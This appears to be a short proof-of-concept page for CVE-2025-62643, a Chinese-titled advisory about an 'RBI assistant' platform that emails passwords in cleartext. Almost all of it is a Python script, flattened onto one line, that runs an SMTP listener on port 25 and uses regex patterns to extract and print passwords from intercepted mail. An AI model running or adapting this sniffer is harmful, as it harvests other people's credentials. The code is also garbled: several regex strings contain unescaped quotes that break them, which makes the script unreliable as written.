CVE-2025-62643：RBI助手平台明文传输用户密码漏洞

# CVE-2025-62643 PoC - RBI Assistant Platform Cleartext Password Exposure # This PoC demonstrates the vulnerability by intercepting cleartext passwords # transmitted via email by the RBI assistant platform. import smtpd import asyncore import email import re class CleartextPasswordSniffer(smtpd.SMTPServer): """ SMTP server simulator that intercepts emails containing cleartext passwords sent by the RBI assistant platform. """ def process_message(self, peer, mailfrom, rcpttos, data, **kwargs): print(f"[*] Intercepted email from: {mailfrom}") print(f"[*] Recipient(s): {rcpttos}") # Parse the email content msg = email.message_from_bytes(data) subject = msg.get('Subject', '') print(f"[*] Subject: {subject}") # Extract email body if msg.is_multipart(): for part in msg.walk(): content_type = part.get_content_type() if content_type == "text/plain" or content_type == "text/html": body = part.get_payload(decode=True).decode('utf-8', errors='ignore') self.extract_credentials(body) else: body = msg.get_payload(decode=True).decode('utf-8', errors='ignore') self.extract_credentials(body) def extract_credentials(self, body): """Extract cleartext passwords from email body using regex patterns.""" # Common patterns for password disclosure in emails patterns = [ r'password[:\s]+([A-Za-z0-9!@#$%^&*()_+={}\[\]:";'\"<>?,./~`-]{6,50})', r'Password[:\s]+([A-Za-z0-9!@#$%^&*()_+={}\[\]:";'\"<>?,./~`-]{6,50})', r'Your password is[:\s]+([A-Za-z0-9!@#$%^&*()_+={}\[\]:";'\"<>?,./~`-]{6,50})', r'pwd=([A-Za-z0-9!@#$%^&*()_+={}\[\]:";'\"<>?,./~`-]{6,50})', r'credentials[:\s]+(\w+:\w+)', ] for pattern in patterns: matches = re.findall(pattern, body, re.IGNORECASE) for match in matches: print(f"[!] CLEAREXT PASSWORD FOUND: {match}") # Start the SMTP sniffer on port 25 if __name__ == "__main__": print("[*] Starting SMTP sniffer for CVE-2025-62643...") print("[*] Listening on 0.0.0.0:25") server = CleartextPasswordSniffer(('0.0.0.0', 25), None) try: asyncore.loop() except KeyboardInterrupt: print("\n[*] Sniffer stopped.")